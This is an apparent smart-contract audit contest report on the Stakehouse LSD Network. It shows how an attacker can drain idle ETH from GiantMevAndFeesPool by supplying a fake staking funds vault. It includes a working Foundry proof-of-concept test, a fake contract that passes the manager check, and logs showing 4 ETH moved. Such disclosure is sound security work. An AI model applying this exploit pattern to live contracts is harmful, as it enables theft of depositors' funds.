LSD Network - Stakehouse contest - fs0c's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L28

Vulnerability details

This bug is similar to the previous bug I reported named : “An attacker can steal all idle ETH from GiantSavETHVaultPool” .

I leave it upto you to decide if it should be considered as a duplicate or not. I am reporting it as another bug because it is in another contract and in a different piece of code.

Due to the bug any attacker can steal all the idle ETH from GiantMevAndFeesPool without any need of BLSPublic Keys.

The bug exists in the batchDepositETHForStaking function in GiantMevAndFeesPool.sol as it doesn’t check if the _stakingFundsVault is valid or not. An attacker can create a fake _stakingFundsVault and transfer the idleETH from the GiantMevAndFeesPool contract to their fake _stakingFundsVault and then to themselves.

For the exploit to work the attacker has to first bypass the following require statement:

require(
                liquidStakingDerivativeFactory.isLiquidStakingManager(address(sfv.liquidStakingNetworkManager())),
                "Invalid liquid staking manager"
            );

This is easy to bypass as an attacker can first query any legit _stakingFundsVault and check the value of its liquidStakingNetworkManager , and then put the address into a variable named liquidStakingNetworkManager in their fake contract.

Secondly they need to create a payable , batchDepositETHForStaking function. This can be easily done by creating an empty payable function named batchDepositETHForStaking which accepts two arguments mentioned below:

bytes[] calldata _blsPublicKeys,
uint256[] calldata _stakeAmounts

POC

I modified the GiantPools.t.sol to the following:

pragma solidity ^0.8.13;

// SPDX-License-Identifier: MIT

import "forge-std/console.sol";
import { TestUtils } from "../utils/TestUtils.sol";

import { GiantSavETHVaultPool } from "../../contracts/liquid-staking/GiantSavETHVaultPool.sol";
import { GiantMevAndFeesPool } from "../../contracts/liquid-staking/GiantMevAndFeesPool.sol";
import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
import { MockSlotRegistry } from "../../contracts/testing/stakehouse/MockSlotRegistry.sol";
import { SavETHVault } from "../../contracts/liquid-staking/SavETHVault.sol";
import { StakingFundsVault } from "../../contracts/liquid-staking/StakingFundsVault.sol";
import { MockSavETHVault } from "../../contracts/testing/liquid-staking/MockSavETHVault.sol";
import { MockGiantSavETHVaultPool } from "../../contracts/testing/liquid-staking/MockGiantSavETHVaultPool.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract GiantPoolTests is TestUtils {

    MockGiantSavETHVaultPool public giantSavETHPool;
    GiantMevAndFeesPool public giantFeesAndMevPool;

    function setUp() public {
        vm.startPrank(accountFive); // this will mean it gets dETH initial supply
        factory = createMockLSDNFactory();
        vm.stopPrank();

        // Deploy 1 network
        manager = deployNewLiquidStakingNetwork(
            factory,
            admin,
            true,
            "LSDN"
        );

        savETHVault = MockSavETHVault(address(manager.savETHVault()));

        giantSavETHPool = new MockGiantSavETHVaultPool(factory, savETHVault.dETHToken());
        giantFeesAndMevPool = new GiantMevAndFeesPool(factory);
    }

    function testEmptygiantFeesAndMevPool() public{
        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);

        
        vm.startPrank(feesAndMevUserOne);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        vm.stopPrank();
        
        assertEq(address(giantFeesAndMevPool).balance, 4 ether);

        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);

        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        blsKeysForVaults[0] = getBytesArrayFromBytes(fromHex("1337"));

        FakeFeesAndMevPool fk = new FakeFeesAndMevPool(address(StakingFundsVault(manager.stakingFundsVault()).liquidStakingNetworkManager()));

        emit log_named_decimal_uint("Amount in giantFeesAndMevPool before exploit", address(giantFeesAndMevPool).balance, 18);
        emit log_named_decimal_uint("Amount in FakeFeesAndMevPool before exploit", address(fk).balance, 18);

        giantFeesAndMevPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(fk)),
            getUint256ArrayFromValues(4 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );
        emit log_named_decimal_uint("Amount in giantFeesAndMevPool after exploit", address(giantFeesAndMevPool).balance, 18);
        emit log_named_decimal_uint("Amount in FakeFeesAndMevPool after exploit", address(fk).balance, 18);
    }

}

contract FakeFeesAndMevPool {
    address public liquidStakingNetworkManager;

    constructor(address _liquidStakingNetworkManager) public {
        liquidStakingNetworkManager = _liquidStakingNetworkManager;
    }
    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeys,
        uint256[] calldata _stakeAmounts) payable public {

        }
}

Output:

Logs:
  Amount in giantFeesAndMevPool before exploit: 4.000000000000000000
  Amount in FakeFeesAndMevPool before exploit: 0.000000000000000000
  Amount in giantFeesAndMevPool after exploit: 0.000000000000000000
  Amount in FakeFeesAndMevPool after exploit: 4.000000000000000000

The balance in attacker contract is 4 ETH after the exploit has run. They can transfer it to themselves as they are the owner of the fake contract, by simply creating an onlyOwner function which transfers all the tokens to the attacker's address. The FakeFeesAndMevPool is completely under the control of the attacker and they can transfer funds to anywhere.

Recommended Mitigation Steps

Verify if the _stakingFundsVault used in the contract are actually valid.

[L-01] array out-of-Bounds

The length of _ETHTransactionAmounts is not compared to the length of other argument length which may lead to array OOB (this should just revert the transaction, hence the low-severity).

contracts/liquid-staking/GiantMevAndFeesPool.sol

function batchDepositETHForStaking(
        address[] calldata _stakingFundsVault,
        uint256[] calldata _ETHTransactionAmounts, // length not checked for this [HERE]
        bytes[][] calldata _blsPublicKeyOfKnots,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _stakingFundsVault.length;
        require(numOfVaults > 0, "Zero vaults");
        require(numOfVaults == _blsPublicKeyOfKnots.length, "Inconsistent lengths");
        require(numOfVaults == _amounts.length, "Inconsistent lengths");
        for (uint256 i; i < numOfVaults; ++i) {
            // As ETH is being deployed to a staking funds vault, it is no longer idle
            idleETH -= _ETHTransactionAmounts[i];

            StakingFundsVault sfv = StakingFundsVault(payable(_stakingFundsVault[i]));
            require(
                liquidStakingDerivativeFactory.isLiquidStakingManager(address(sfv.liquidStakingNetworkManager())),
                "Invalid liquid staking manager"
            );

            sfv.batchDepositETHForStaking{ value: _ETHTransactionAmounts[i] }(
                _blsPublicKeyOfKnots[i],
                _amounts[i]
            );
        }
    }